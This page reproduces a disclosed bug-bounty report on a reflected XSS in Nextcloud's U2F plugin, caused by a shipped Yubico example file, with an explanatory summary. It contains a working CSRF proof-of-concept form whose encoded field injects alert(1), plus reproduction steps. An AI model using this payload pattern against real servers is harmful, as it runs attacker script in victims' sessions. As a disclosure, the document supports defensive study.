Skip to content
XSS Disclosed report Intermediate

Reflected XSS in U2F plugin by shipping the example endpoints

The U2F two-factor plugin shipped an example PHP file from a vendored Yubico library that echoes user input back into the page. An attacker could craft a cross-site request that makes the victim's browser run script in the context of the Nextcloud server.

lukasreschke Follow

Originally disclosed on HackerOne

High 7.4 View original
  • Triaged in under an hour
  • Fixed in 2 months
  • Disclosed after 3 months

While running a RIPS scan against our instrumentalized source code it noticed that the file /apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php echoes on user input:

rips-result.png
rips-result.png From the original on HackerOne

I was first a tad confused because the examples have been removed from our Git repository, but the release from apps.nextcloud.com ships with that file. So I suppose the Makefile is downloading the dependencies again.

While exploiting this is not entirely trivial due to some sanity checks in the code above it is however possible, the following CSRF PoC will trigger a popup:

HTML
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://10.211.55.7/stable9/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php" method="POST">
      <input type="hidden" name="doAuthenticate" value="&#123;&quot;signatureData&quot;&#58;&quot;AQAAABowRAIgMZL56nkLO7gs2OYoUW8RE3xAWLAvzroTiWO2T2PBb&#45;wCID6zjKjjxsqqG5NZ4upnT1xCeFmnDSefS&#95;TWHZWjoXgx&quot;&#44;&quot;clientData&quot;&#58;&quot;eyAiY2hhbGxlbmdlIjogIjFQX1l4TWpGVEhPcmNyQmlwUF8tLXRtVjA4SXNRUnVXaVlwZVZYVlNpVFUiLCAib3JpZ2luIjogImh0dHA6XC9cLzEwLjIxMS41NS43IiwgInR5cCI6ICJuYXZpZ2F0b3IuaWQuZ2V0QXNzZXJ0aW9uIiB9&quot;&#44;&quot;keyHandle&quot;&#58;&quot;9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg&quot;&#125;" />
      <input type="hidden" name="request" value="&#91;&#123;&quot;version&quot;&#58;&quot;U2F&#95;V2&quot;&#44;&quot;challenge&quot;&#58;&quot;1P&#95;YxMjFTHOrcrBipP&#95;&#45;&#45;tmV08IsQRuWiYpeVXVSiTU&quot;&#44;&quot;keyHandle&quot;&#58;&quot;9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg&quot;&#44;&quot;appId&quot;&#58;&quot;http&#58;&#47;&#47;10&#46;211&#46;55&#46;7&quot;&#125;&#93;" />
      <input type="hidden" name="registrations" value="&#91;&#123;&quot;keyHandle&quot;&#58;&quot;9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg&quot;&#44;&quot;publicKey&quot;&#58;&quot;BPtO8T0VluUL14FRKvEkZ5lP&#47;3W4F7er4WS87iYfrpoKj0Fjo&#43;M&#43;zAxNsuhYd&#43;3rYQFVPr4hflhOh3lMSZ605Fg&#61;&quot;&#44;&quot;certificate&quot;&#58;&quot;MIICLjCCARigAwIBAgIECmML&#92;&#47;zALBgkqhkiG9w0BAQswLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMCkxJzAlBgNVBAMMHll1YmljbyBVMkYgRUUgU2VyaWFsIDE3NDI2MzI5NTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKQjZF26iyPtbNnl5IuTKs&#92;&#47;fRWTHVzHxz1IHRRBrSbqWD60PCqUJPe4zkIRFqBa4NnzdhVcS80nlZuY3ANQm0J&#43;jJjAkMCIGCSsGAQQBgsQKAgQVMS4zLjYuMS40LjEuNDE0ODIuMS4yMAsGCSqGSIb3DQEBCwOCAQEAZTmwMqHPxEjSB64Umwq2tGDKplAcEzrwmg6kgS8KPkJKXKSu9T1H6XBM9&#43;LAE9cN48oUirFFmDIlTbZRXU2Vm2qO9OdrSVFY&#43;qdbF9oti8CKAmPHuJZSW6ii7qNE59dHKUaP4lDYpnhRDqttWSUalh2LPDJQUpO9bsJPkgNZAhBUQMYZXL&#92;&#47;MQZLRYkX&#43;ld7llTNOX5u7n&#92;&#47;4Y5EMr&#43;lqOyVVC9lQ6JP6xoa9q6Zp9&#43;Y9ZmLCecrrcuH6&#43;pLDgAzPcc8qxhC2OR1B0ZSpI9RBgcT0KqnVE0tq1KEDeokPqF3MgmDRkJ&#43;&#43;&#92;&#47;a2pV0wAYfPC3tC57BtBdH&#92;&#47;UXEB8xZVFhtA&#61;&#61;wzh87&apos;&#45;alert&#40;1&#41;&#45;&apos;k50k8&quot;&#44;&quot;counter&quot;&#58;&#45;1&#125;&#93;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
poc-popup.png
poc-popup.png From the original on HackerOne

This code is part of the official Yubico PHP U2F library. In a first step I'll coordinate with @christophwurst to remove this file from the release on apps.nextcloud.com, then I'll make sure to reach out to Yubico to get this resolved in their library.

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the bundled example script echoes request parameters into its HTML output without encoding them, and that example file was accidentally included in the released app package.

Impact

Script could run in the victim's browser on the Nextcloud origin, though the author notes exploitation is not entirely trivial because of sanity checks in the code.

What the attacker needed

Victim visits attacker page; example file present in release

The fix

The author plans to remove the example file from the release and raise the issue with Yubico.

How it was found

  1. Open the example endpoint path under the twofactor_u2f app on the target server.
  2. Submit a POST request carrying crafted authentication, request and registration parameters.
  3. The page reflects the crafted values and the injected script runs in the browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Some web pages take text from a request and put it straight back into the HTML they return. If that text can include a script tag or an event handler, the browser will run it as if the site itself wrote it. Here a leftover example file from a bundled library did exactly that, so a malicious page could make a logged-in user's browser execute attacker-chosen script on the Nextcloud host.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.